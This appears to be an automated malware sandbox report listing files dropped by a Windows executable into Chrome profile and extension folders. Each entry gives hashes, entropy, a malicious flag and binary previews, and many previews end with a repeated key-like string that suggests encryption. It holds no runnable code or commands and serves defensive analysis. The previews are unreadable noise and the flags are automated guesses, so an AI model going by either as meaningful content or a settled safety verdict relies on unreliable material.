Preview:	...@.=..'&....[......7.s....w..;..H..@.ag....i;.F+..S.....8?..=..$\|..N...D......A.:....G.............y.1kn.&....7....!t.pO(...8.LUu ....V....b....}o.S.2$Gz........o......P...#3....,......\|....u...M.M.h..._._..$.o!.g.dt.r}.,.. .g...d..f.i...j#.w.rH.(....1.66.W..jp.B/.X;.as+5....T.......}....G.$.V....E.h6.Q ..c...T.V.....11$...[....R{.._6...?.[56q...F6..+W..o...;.[].E.@X.....8v........j0 ........It.~..../..-..9+V......U.:.....\|..(..P...5.g..w+{.G.....e.4....j.3.9pE.M..%E.....n...F.\...A.8.a#.$..\|..)l...t....%...O=.?;D../.F..a)..t...f(,..QBS.............y\|?i....Np\...!.$bW}"U..h\|.'....ifnm..st.b.?.b..7......@./nWE......DFT.C.B6....^...f..D!\.Po...Tu.Y.E.1.~$......DQ/...u..../....~#'....m).~.TN7....^=f.5/.}^s.".Q..q-...l.qY...-2A.......rb.5G..7..d..........T...<.ds.......v........{X...2!.\|.-}x.P..*G..5..d.$..q...'sr....#Y.1...x.6..[R\.f..E.5+5.+..}........f.Q.g;..3w...y....!#>..:o.....;5}...)...(.Y.ulj.e..0.F.7.s@`N..).......Z.....a..c..{K

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.303489315864283
Encrypted:	false
SSDEEP:	6:z/7PzLtV4cd3pDyPXBPVkSkxBytRsIEYHCp+zId8eUJRW4T184GxntHcii96Z:LztV33pDyP/kSIBeRsIEYip+fk4T18D1
MD5:	441C1FCA3F74FE2DE63B3BF2F856CC43
SHA1:	54F384EED5902FDEB173E4341936FF5412DCB826
SHA-256:	834218AB617E671E8EDA0636576DE14427AB3072BF95348B4F42352BAAF347C9
SHA-512:	FF2966A596E06D2ED383005A770E9B902141845C2CBBD4267416C87C27927EFE3DE660CE67F674D877398131CF86531523348EE473C2776B27DBA898293FA638
Malicious:	false
Preview:	sdPC.W..Ay.9.n.#},..Mb.}..-..p.....mF..#y..Q..m...^h.... ..4......)~1.N.-...e..a.@....8Te..@..FclP.C....:7...Id..w...._....W}..7.Ma...X=.Z..^u..i...E..}..L.....RC..0.......g.&.ad.....E....^.#W.".\|..d.tO.a.....n8Uw..L27P?p'.X.F0...._z...j1.....0.2...".Z...2U.3.Z....q. :H.K......~..!K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	638
Entropy (8bit):	7.660745175577223
Encrypted:	false
SSDEEP:	12:qtZYsaIcZPIXzh2PFOOjkvOFTBKSOnzv7Y7bBAwGT9h+FIzapH7WiJ0W8tcii9a:+ZsIcxZInXSNA39IIzIyitCbD
MD5:	6EFEBBD8E6C10717EE635EF5310CF427
SHA1:	099C68464506259D4CAF734A11D3F9D4E08BD3C0
SHA-256:	88FAA5C8FEBB0AAF6C09182F1D0788EC0C6D0C966AC27AA6AE0BA44848756B8B
SHA-512:	AEF5C0AF89CB567E172379FA204259614F98188F8D67C5C4575D7DEBBF8302AF9FBC578B781BC8F43D2C5DB9D894C05DAE9EAC886C0EE29EB63369808AD7B896
Malicious:	false
Preview:	.f.5..5)4K4......D[..1..v.IR.6........[.e?&.N.......r...?.''.)....jR(..z....M.k.!...n...s....O[..,....C......*...'....L......P....q..h....@&B{.lg....3.m....\...q.5...\|Rb.^.u..-u.'.x....t...+....L....X~;`M........J.&..z...S.."1.r:..F....E..If Y..&5S9.....mgJz\|./>........>&^>j.r5..........JFh..nm..G......c..aM...2.`U..V.8(......QD8\^.3.4W.N..UUj9[....b......c...Q Ka....z.tC.zg.Y...trl........o...=..n.9....m.S.t.s.T..< :.h.x..[.2Qo.Z.......(T....?g..v"l%3.)Y.\O.$.........P.u..>.).L.a.&A.._..-..d.(...^H.?F..8Z...{.f.....`..K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	474
Entropy (8bit):	7.423889538166189
Encrypted:	false
SSDEEP:	12:PGRYCPiFk1jV5OLStxxoN1DW14Xu4WuRYtcii9a:PGRjH1peSfCN1DOigbD
MD5:	84C290D94F5097DA812D6337654B7C58
SHA1:	8BBFCE2C96B8AB008660065B78C686D01670D784
SHA-256:	7015780855B3E38E65F0B7A40FBD43C82EAB3E2FEAB1AE8CA9B7650DDBD0671E
SHA-512:	95124662EC0EF1E691CE7A7A78015B49ACB7B39442CD96CDB3F7F97EC2DBAB828D8EC71D25AC43A9E689BB51826624490E68ADD7EF517273196B446AD08E85BC
Malicious:	false
Preview:	2020/.n.a..OIG.d. _k$.2......3<:5.f.....jh.:.D...cO#g..&.{.XGQ.....-%...G_.~.5%F....m...t.i.D.(.>V..-.w...'...9J}Ei.B.R.yp.L.......S......x.G...../...+Jg.Q.R...J.@.eB..B..2.........f....1..3...N,s......O.-..:.[..Y4wQ..b.S.%.h/.bi.X.".....o.)...m.[..[p.........#.......c....q..b%.....\|o!..).s.f.ES...X../,3^G^...QT.E..(.;\|....Y..2.......$.i....r..`...&;.%I..0.9.....Z..F...v..J(..BK6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.458188592526049
Encrypted:	false
SSDEEP:	12:q2bfVSXzMzVSgsa1W/KDh7yG5RX2U32LHQdcKILpkZtcii9a:BzVlVSjaWwh7P5Rv3gwdy1kbbD
MD5:	BF76F471853257785278F8FA2026C00D
SHA1:	3F685A00A9C660C2B7B6C2BC65851C714CD9C481
SHA-256:	64EC4277238FB71BC64EF6D507E550384658C5C9EF3EB4E0D88A74594E635E81
SHA-512:	53E8295280A6FC96DB1AA375822C676E9AD36DA593CE9B1A5492716FB27AA7F7230E806D589A04C0E817DE6C78B5D08D2C4B7966A6AC4BEB490F0EB10B67AD7F
Malicious:	false
Preview:	.f.5...*...V.HY.o(..........y?.....i..-..aV>Oy.v...F..k...{d.....v.y1.Ck..R.e.P.2.j.E_...4.l...3.P....X..b....a'...m.......0..~..z..;..J..#rXz...GKo..4.tP........L1%..66L.p.-..f0...q&i.w..R....\|5B.?..>..b.....D...]..\|.q.Om................S....;;e.A...DG.....md^..1a..XA%7.....}...7..Ue..q......Y..4.\|X....y...p..>..!........m.MG.:^.....q.F....K..kI....I..%.. }.;....Xc.l]..).....[..c. ..K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.889370767975146
Encrypted:	false
SSDEEP:	48:nXXpQiWVevQdi47Gcg57d3bkSWmA7nBDL4D:JNw4QJycgtdLkSWZ7Zk
MD5:	F1213D5B6F088AD74D9EC4E601B67CF7
SHA1:	75C2514A95DE6A1448AE88BC73F59582A5B8459C
SHA-256:	D994223C66C6E10C4E716F89B3F6C407120E63C3DE2C3DD5C8366BEB9D6680AC
SHA-512:	5A8FA04B79D7397B3D912F8EA420E8AA8EBC974F443BDF7783EEAD42D7FAC525369A9E66B214F41D5DB11C176FC60B0CE5FF5E1036ECF13916ED1EFFE56670B0
Malicious:	false
Preview:	.f.5.{[.iyX.Nz.!.p1n a=.....Q9..s........o......l...F..f...^4....K\|..YfQ..KG~fA..-+R.Q?i..8q.$...;.b.......fS.....M.s....b...Un....M.. .d....]....0c..dR.\|^T...Y..W_....@.#.75.'.A..\.qO)6....r..l..5.tn.z...R..87.6.......4L.. ...x.)....\.....W.1..f"$......F.Gy1p.<.....&.\|({.XiH...v..gi%kI....7.....u..V5j.v..+..pz......`P.@.3e.8I.i...%...V...`..o(.........g=....?..pN.tA.}.......e..%.%.2....y..X....(..^./S^n.h.3...E{w..(.O.[#.\|M...QZO....b]NO..b,6...n....>B.>?.C.\|:..P.z.......~\|.....c......r'h)..R.%Qm.:.U..._T.\x..,......L....(._C..:Lt.P.....v.&!.c.\|...n./&{2........;F..)w...L.m.E8$@......6...^......U=.$....V./.2...>.~...]..U.."..e30Hd.[f.3..n...\WCG$<<Fi.e..rU..V.}D.(....g....4'FBaC6..I_U{)T.E.k.....c..RT.N.. ..!..9.%.O.-.t.._=wmp.x.]#.q.....s._...YF....E...@.X.........D..:...T...r.2'cL.P..L9![.sG.)^.Tm.J^.uB.n:...$......q.......\h......{.%o.u.0...9OU........Y+oX.....5.'..s}.L..p;.....M.....`*.."....?..{.@r.5Vq..C.B.....]..a,n.xF3e

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	653
Entropy (8bit):	7.644608849408246
Encrypted:	false
SSDEEP:	12:Xs+UhusMCfmKHNZBGx5M4i+zmBhZSI75VovjAkf1Lv1AoLClUtcii9a:8+WusZJo5MLQCTSjJf1xAwjbD
MD5:	D65F1820AD39DCBA687424470CD84301
SHA1:	2BC1FC5D648B896E438364A3F9A14018C3969B19
SHA-256:	6E619DC3852E8EF8D4C15A3AE4530B98760878AD11866500116F33003212AC15
SHA-512:	A29A1B4413FF526CF4E2B623B4729D851370E69174009D1E3F0C697B084C9FEB859C647778BFCE79641E22780F557D1BEBCAD13E1733E3A8E774BD13E1673ECD
Malicious:	false
Preview:	2020/..X...3}2.....{.}..o.........r].]H......L...#J#V.v+.=..o....h........H....K y.qS.l..M.x...g.....N..OHs`.?....Z.6H5.....`u....../#J.@.~E..~.......Pw>..Y...1:D.....,ysT.Un..\'..64t..P..58.+H#....q..'s..........~b..."......"%..:....x-....-X[.C...\|>..lPN!k#..HW...j.>>Vt..x@........f....W...*..........qZ.#..& .@......W<...g....SP.......a/g....F.R.5.....w;..0.X..Di.t5.. .K.`...7vr7.L.]7.C.Z}.\|....w.{.e..va.KJ..Q[i...zEt..]L... .....ph..#F3f...]..?..@i.....`........UJ......#.%B.K.J...eR..p.`.....i.P..L../.-..d17.Z.{....z..../...f....K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.967877148381009
Encrypted:	false
SSDEEP:	96:vmao6sR2eeK2FS4i6GW7yHa0zq0bxdtnVBRSTY2uyxoOI7PvbRljaL+enK8O68r:+a3P//4W78bd5VfZG34Xbn0hHOX
MD5:	4A96798DD9BBFDD639D955F4915C05E2
SHA1:	D2A036F6347553B077D6877DA7428E368D7A982C
SHA-256:	B30F551FDBAF75EAD8DA9D5E8D389B38013A20F33C27E0D20D4D6610FCAA9CBF
SHA-512:	EA5C498BAC2EE80BD442FC566B4929F55F2FE2F410D7817451690930E8BD3C4D6741DD447C53628DE932FA37A77A2A4476AC1C3B39765894E6B620A484CFBEE1
Malicious:	false
Preview:	.PNG..........X;2.4[$..B....H+...T..w....K_...-..C?..Y....(..Y/..(Z.!c.]a'..I...7....)..Y.An......@{bV..I..vt.dh.vL6l..`.....W....&..).......,.....)W.'.#...[(.'.<x..'}.......J...$}H.....wS.h...H.......5.Kg.........u2.K.rV-.....t/.qj.y`.X.u.........'...\..h.......Hv.<.0MMA..<.e...]...`.G.k.R..W<@..c..&..Qs.....2......V....*...7M.]..9.....B...nh.T...3(.....W.....R........'LY..f...C...Y6. 7...o....h....t=..`..H..[..h...,...g.R.M..$y;..i..^.8.o5.-...%Cv. I..AI....x\.-P.}..(3....NY.!.......7:.z.2._....2....:..N..V.Q..+`......./....v..].....-.e..'3.9=@.K.p.f.\|........s.....,.\.f.{.F..@..T.....k.b.'..(.....L.30.C..2&.=..`if-.E..P%.....S.m..B..?.Kc1..r.........e......6..iI..w.'....k.+F.4P.S....{R&J3.j.J.C.7d^...Mh5.kQ6.z.O.....)D....Q\|.-.}...X......K.p2Q?.....U..1..E....).[k!./G..[.S.....v...p.>..-..y.V..l!a..!x..m..2`K.....w.:.G[../.$l> C].aI-...\..OE...D...6......q.g.._.,......``p.k............q...%N...]..f..e....D&..P...._B.m..-U

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	3964
Entropy (8bit):	7.954286272790977
Encrypted:	false
SSDEEP:	96:rhJZl4rbCSFaADUEAGi/uzDhzQ2rCxr2tbdwxCInMkjf8xPJ:rh3l/SFa6iuDFQXr2tbdwxCInMkjaPJ
MD5:	0ACD1E2A3547D7B273F4DB56EFBB6769
SHA1:	6B609DA529C0891043D67310342B1403BAD94703
SHA-256:	899B7B18ED7EBB101C903E200B8F85686718A1C843B33A5A998F73539494CC7A
SHA-512:	C12228DA6327E29ECB585879C594263466540768C3848CEA77605F4DE8E635D906F98DAF0137CF7807FEFC303D91BA705B7FA8FFD52FCE2BE4A8A6C4C98DDFFA
Malicious:	false
Preview:	{"fil...w....V....w^..~E0@\._..jD..0n.oq......7.X.`%4..5cj{rg(C.`IN@......%we=D..IB.u...\|c.....I....)!....6.Us,q.."...:s....0..niN...J=:...O......f..ADe..nr..G+...~_4.t.d....5}.">.x/TK..7..L0:Q....v........s..XO8...}....5`..<..i.R.....pp..g.yV...l.....f...l..i...-....Nw.O..O..kc....r[z.....$v.J.bo{&..!b..3U....(+.M.L>$...).....B2.,.......d....yK.7...:.)F.q]tp..2r.Y@.....!L...2..M..#.tS.4..}..W3?m.3)4...`...>v].. .6.s......%..w)$;^.......9..!H...QK..Q..._ D..p.#2.emK.P..x.q.F...Y.m/.K.`.M.1.[.$..b............h6...3Y...@1Gl...C.f..qJ.W}8.yA.&.q(C...Yvw.Z.=..z.O....TR.>Rx..L{'Y..T....>..1=..c....\.2.j~V..\$.ND.D....U#./....Y.....Kk......U....e)}.e^..]..(.W.D>j:.9_b.?.JlLcJ.d..s./.5#..g.....A...\|.ql......@./r...Vm....=..p...._..l.,...L...J...=......<>......lz$.b.'SB.G..JV.1FCo6.c.s.K.{q\d0g..FBt..a&k.*..q...s.R....-....'...........w.c...g.V&-..D..;.u!.XKt_......k-..G.......k..==..z?..#...a....t.^.H.. .Q....X.....E.&.6.S.....l.c.l{.w)+.u.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	18624
Entropy (8bit):	7.989184679597943
Encrypted:	false
SSDEEP:	384:Zd8p+3ONR/rHcOcEUhoI/5wX2YjNV0nzuorO/4D35/z:Z+A3ONyphoI/5q2Isy0LLdz
MD5:	4BFAFE624D63B0BFF54B9B45D352E7DD
SHA1:	B57E0CB8EDC20E3E6CB3DDC2A26057BEE8F6C80F
SHA-256:	50D4B8144AE4398295E2D33CD48BAD675500F24B220BF7E73BBDEC5CD2860C52
SHA-512:	78DBACF8B3555862D139260458EAFD87FAFCAA91661913C7E0265C32321650B24FD00D96C7DB8D28DE5145ECEE7200C4C34B90EFD5E5DB9C0A1628288B1A0D5A
Malicious:	false
Preview:	[{"de.Y.......yn.2.j......Y.E!W..KOv.`4G.k...TH.[.?3..:...f....A;...."....S..+......}..r....(.\|.V........A\..J[Gg......k..~....a.^.....@...=.S,....>..&.....\|\|<.It..OG.D1....FUSwn..i.9....&bL..F.D..A3....?.........AB...i..QP.... ~2x].(%..,~Y.....B......M..T..;8Z8..(J....P.x..K(@.P\|%..[...M({fgn.K..K...Fi4..Cq.}..3...W......O L.....s.+..wB.i.m..BN..KXe]....%..:.#.....I[z.5...f..".....I!.L........E...y.T,..a..Z..........^..............A$..}...d..M.:Z./.=....TL...rO. D..kA@.p..lMN.^\.^.....(..Qg.UE6.D^.QmYr.M.M..o1. Bm%gI.-....t...f0.....E..i...^N..X...;F....^.YA...E..../.>..N.:^5...%[......n..og.G..C.~B.uE.E$Y%==f....I...{...=.....l......S...oJ...e.F.d~.z.P..$.W...b........$..Os...t.7....!.m....!.k..P..OI.Z.)mK...n....P..O.Pp.......)...HF7-....)}..&...C.......U..\b..=.J..R.HT.@T..c..v..LB.Gp._JK...Y...O..oB[.#".(=.d.. D...^..nq... .i...T...Va........a.;.8..<.....JF ...z-.]b...z....{..W+vy..]..&d?....,..hU~...6C.R2..p.m.!nO..>aFcJ .r..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.842147316775836
Encrypted:	false
SSDEEP:	24:SwbFGedlKOk37Kq0HdJaRY+HvzXfGFaPXVLlFgRZG0SHjbD:Sw5PzkLKRaRYAOFa/boZG0+D
MD5:	6168B1540E442F82CD50A399E66832ED
SHA1:	6A2FFF698F8E47CD32E0E00CC41FC99F50C0108A
SHA-256:	B92AE5C1BBFF385F938BDDD5243A1AD80084553BD8F59B159960AF6C4B885A16
SHA-512:	E2297946DE05098E1DBD942FF48E1B8E91F94DE8B162C497B26103C1CCDC89F387DF6C3C6C4B843632EE27E60ED42E799B966F3E2E317E7CA7319C958E94A635
Malicious:	false
Preview:	{. "...'....\.1....0.Tqag.[. 0..s2.1..CBw/.p.dE.5...J.&..:?!..K-...?09...&.`..7'.o .t..)..^.<...y.i5\&.{..F..?(V$.x".{x.-%..... ..z-._}.<..Y.yC.J.x.~.t.k.2>....~..\|.I[)k`A.}K...Xh...y.cU%vs..=b..Q........K...Zy.......}.T.#.z.p.,.v.'..Q?hli...;...^lWQ...(.1..j...)....r].....V:...7....]..S...y#.A.E.....8e^.(..Z.........@'..R...7.H..s.(C.`..>e.b.+h.o..Y......w.g9"X;`#.]..Gb....t..{-..K..L..\...s.9......A....LP..w.!.f...w...qe...P.]..7...k.G....6w].R'b...:k..G...k.d..UV...,.j..#U9.b......h.C.6.x..5.Q.F.=,.../`;K..m.L....?..U.#.B.......c..8h.=....U....r....\|...........5W......2<.V5..c.[.. .B..5..S.v.x3..9i<h.T^a7...S`.....+oTx(.k.G.V.bG..(..I2..d....w...N.B.......8..-.........z,.I.`u......j..N.)...:....$$..v.Q...}.$.L...u.Z.P.-..?.(..b..b..C:..m."..K.:~.$E.q.5.5n..w..z~..}XC-w....mJ..6..h}..m....Z.Hk.o...+f..U.......s.P....?E...W..J.......2..v..^...wX.....k.&.Xi..O..I..T...',..D[%...7O.W_....J}...J\|..S9..5....cXn3..........-e.P.nR..(@n.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	68133
Entropy (8bit):	7.997517400133588
Encrypted:	true
SSDEEP:	1536:oT1F+fopSNCMnLDmHhYVtaplkK4zOjPQHHDJzabOpXSfGSW:QDQcM2WGkaPMzaI1
MD5:	E27A2F1357B342B33F51DACA171646CE
SHA1:	FACED8EF8226E9A1D8F0F671E80175064D42FA93
SHA-256:	E26533D0A3457140D9C10DE74F8757A9FF6BA17B56F350613AE8DD867A62D0CE
SHA-512:	8A5A893D62758F1714959D1A8F2DC7547643BC4CABC51C915F7676AFAC0D1DA5E1C507B06B5DD414019C52C4D3770E6BDB6314BCEF803AAADD9C185867E802AC
Malicious:	true
Preview:	/.. ......Y.[.L/!....6-.Y..C..e..rzc"..1...M..3...4=..+w]id]J..../.W.c...W3...#..i....#....).2b..o...9m.._.\|P[..g.6..W.?.w...!..e[.RA.z.3.....>..?b..P..jQw....._$R(.~......~...a....-...E.'..p....2".$-.a>[.`.E.. .dM..E..vB...X...B.........Y..h.w......Oc..{r.@.z.@..a.+Q...r'.J......0[.w9$.\|...[./z...>....#m`..a.......k_o]!@.Q@....+.7G...9...5..9.[.1&1.?qB^}.R.9v\....:w.......q.!..s.L{..]..24.e...U..-..yk.J+...S8...:[oj..z\|..08..]gy.D./...'"g.f....}.O.%..{.;8..0......N....1........$&.xV...j}..T#t.R.)..:G.mf.PBtUM.T..cdU.. ..g...........fR.O.HNP.ncQ...3t).......S...$..3...n\:..F.Ei._.5.N.E]i(.xw.......Nt....x.7P.p2..E.Z.A....Fi.......c.$V.N..h..a....#...........#..V.....=...C.i'.FL.RL1{...^lE..^.^.F!2,.7............Ri.c.....HQ...K..(T.UH.OJ5........X..^..G.Nb/.?aH.)...)b..?.>3Go]..)...r..}..W....b.i..]...K........a...\pX........vE.L...G...Z.KJ.\......x%.^.Y..@7X..FK-Xo.I....5..m..G..)0."O;.:..g..kI.#CvH....P..M..V.k$...$...as.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1854
Entropy (8bit):	7.889303549505147
Encrypted:	false
SSDEEP:	48:QH7Whxm1zIIScDL3lKYzWfz2pP/IIIIMZO1kTdGc32u4FpD:S2x7PcDL3QYzWfz2dQfOSGc31S
MD5:	567AC0DA19B1A4D6E7DB7BAF2CBCA628
SHA1:	68BB1A58F78E57BEA156405F6EA1DFCD87EFB56C
SHA-256:	98AE1F3665CFAE05FD91467371BB2EAEBD4823C553298C74F14C8012F39625AA
SHA-512:	873C0946D8160A97E68EA047425F31FA609C970E4DB576983D56A6890E6224096DEEE108ECF16D0FD26CA184C31ECD18811A626A864D6A6EF70E8F30D042B600
Malicious:	false
Preview:	{.. ....C.z._.e).}Q._.w.\|..i..\|.3....\q.<.Ho.[y.q.c.:....i.I;yV.....i.........;U....:...2+.7..!....._b_CQ.i....9m....[..sJ...V....h.<..z..P.aV.7...Y..c..+...m...a.H.p..H..M5...S..+^.Dhr....RJL2.W.s...v..]Tjz.....qo..W...o.u..9....0@~....f....SoZ.n...5..2RHB...'.h.$)i6Pn..'...,~..;...b....-...[5..x\._.....X<]z...>[.V.....AHbix....dU.L.B..Ja.........N._N....l...4.....8..F.Qn.X.r..y0....EI...C....I.HE."..^.......8...~.#./.MB:?D..t...FO..G.......ye..,.....ihy}$".N.............D.....'...k.Y./iK.}AM...=.\|VZ.z...u..n(.0.....U..&.....:..i.$YZJ-..n.?..e.\|......,..:n..3U.i.C....MR.^.@...E......&p.W.....Qw.,d...C\\..NS3e.!..;..K.u4n...L..ng\f...\|e@..U'...$...nv.yG.A7W^Y@].A-..-.......q......I\8...R..n.)vI...z..y.f....S.nn..Yt......".{.1...ZU....^..#e....kd..V.v.W.._&.'.. ..../.EU......C...1...m.=.w.6.F.).XJ.DN.v.@Y]....y..5;.N...].+..g~y...`zI}&nn..3.....8.U.^0.....k.cx.a.9\7...'F..&x...4t.{...K?.nb.R.h..v&}..........C8=.gx} ......).EQ..OC

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	7.584789203489974
Encrypted:	false
SSDEEP:	12:22VLGIBoOmT80XF3On0ovUfB2VCEoAylrdifcMtcii9a:22VLVo7cn0yUfBA5GybD
MD5:	EB94EBC7F5E1EAA42B45C8181C800BC5
SHA1:	B4AC8B1B9A11A99E42FC93367792EFE5CB11D5E2
SHA-256:	0AEC796A20AFE074AD5538FA3087961B9F337F5B4601124C252B9759B29CB78D
SHA-512:	213DEB98235EDE3B1BF11AD37299AD14270BD9263D9727F47E70D47D6C1FB6CF55FA0C729F01435E856D398C7C4C75AB154F4FF8186EEBC13D901C23E5565A78
Malicious:	false
Preview:	(func...X...J........VT.x......4.`...7IOsm..W.$K.1.qP.....O......nJ]b3j. .....I...hJ.*._...O=...R.r.j^K.=..7b....D f.....5...PO.6.......v...i_.G...-..V}......C.u.!.......F.a..[.O...\|%.u.<..pS.xhDP.P..2......y....$.J.........j...ie.........1>5{W^.r.T..>P..`...)./.D..."X....m...KMn.0>H.@(".o...i..j..R;..9.'........3;6;.8..9.k...h.k..4. .6u.?Ow..2..+.ok.T..y..B}..\|...kPA.\|....$mwR....{..'.LcM. ..T....l..D....TB`..0...}%..4.xa..-.V..!!...B..?.jiL..N.Wm.9.8}.3...r?.Q\|.<&..'.xh...kK6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	18272
Entropy (8bit):	7.988372191864928
Encrypted:	false
SSDEEP:	384:ouf3pF9XuvI/KNyPkzxWXjTouoZxE6Wq/ncGIupNw/l:ouhF9XC7OTouoDM+2YE
MD5:	B6677C22EADBEB8CFA11F8F555030DBB
SHA1:	45000524D0E332CAF55293A49466B0C4BAD48E24
SHA-256:	D1C4AA2BE081C3B607AFB11F663F8FA8B2C036D0EE850B4E1C1397A348D895A5
SHA-512:	DA4C0ECF78359C3BB99FB882697954907DE715517A5A710762E7EF6BF0434B20AA75BCA6097FC9BA08DEE7471ED543D1FDFDA314AA3DE4F6B92C2ABE2F63B3FE
Malicious:	false
Preview:	{"fil...H....vt..,........R..##q..B.%..5...8...Ti2.......>At.[..V.B.^"p.\...m.T..l.m....g.Wjn.X..)..q`.D...6.t.c.~t.cP.B.....`.[...cNzSO.3Bx...G..BB`4....>&.y.o.O..?3.A.+v........2..".L....3Y..Vi..z.D.;.I.K..6...2+.....\.[5...U.]...L.t<.+....u..H.....X...u.4h.X.C.(...F..^......e3nX.e.#e..1.......N.%.t0.....6....iM..'Q..&....v.IXzr.{..Nn%.6....`y.O.: .k......x..4.{,zc2..F...P....#.k..t..6.Y...."...TU.]].;.....(..%....I]cX.....L.<G...I........`.........g.....%..k.D\|;kw.....}.U_...B...N.U..`.9....dR]8. .._.V@^w....ZK.j.}F8.onAF.?...,)..$.....u.....JH....-.a.wQ.Ry.?.6~v.:..#"9LI...@,.Z.z......$b.O^CruA<..8l.....aZ=.&....KDI.cW....p..C.}.HO...c..........6.s+K......Y8.t.DL.g.......3.y@.....vGl.c,..9.....[+:d....Ob..q.A...........X.l...r4......:.-..I.}.1..L....K.\|m%>9t..z...K5../...S1M..h...d.....R....J..{o.ni..=."..A>.ik..g1gmV.P.{.V#\.[.B..c..-!......i..K..RA..c.Z..\.L08...........aW.wT..lz.+e..a.x..J...O...&.....>.2..w8...o..1.>.}...9

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	8114
Entropy (8bit):	7.980653056438372
Encrypted:	false
SSDEEP:	192:vVTVHpx/YkZEIDcGq9MSTG8Sasxs6goSiuO52WlWMWU5lFw7xDthxV:vV5HpxhZjhqNGqKs6xWWN9lFw9Dtd
MD5:	A30BCD80EC177489F7A48C31B47E0C86
SHA1:	F2F77813542B3A7745F4683519804A99B10591D4
SHA-256:	F05AF7E7440C7CFFE55B8526D4857570DA1699EBEE377D5D908C47EBC59990DC
SHA-512:	7A218632B7BF5AC1828A4DBB986CA5B611C4AE2CC54CAA7C2C5ABA2FF03BD42257F5F3F50ABB2B31BA2553E7A2942E40BA95B24DBCCD486E2ABA33FC32FE6573
Malicious:	false
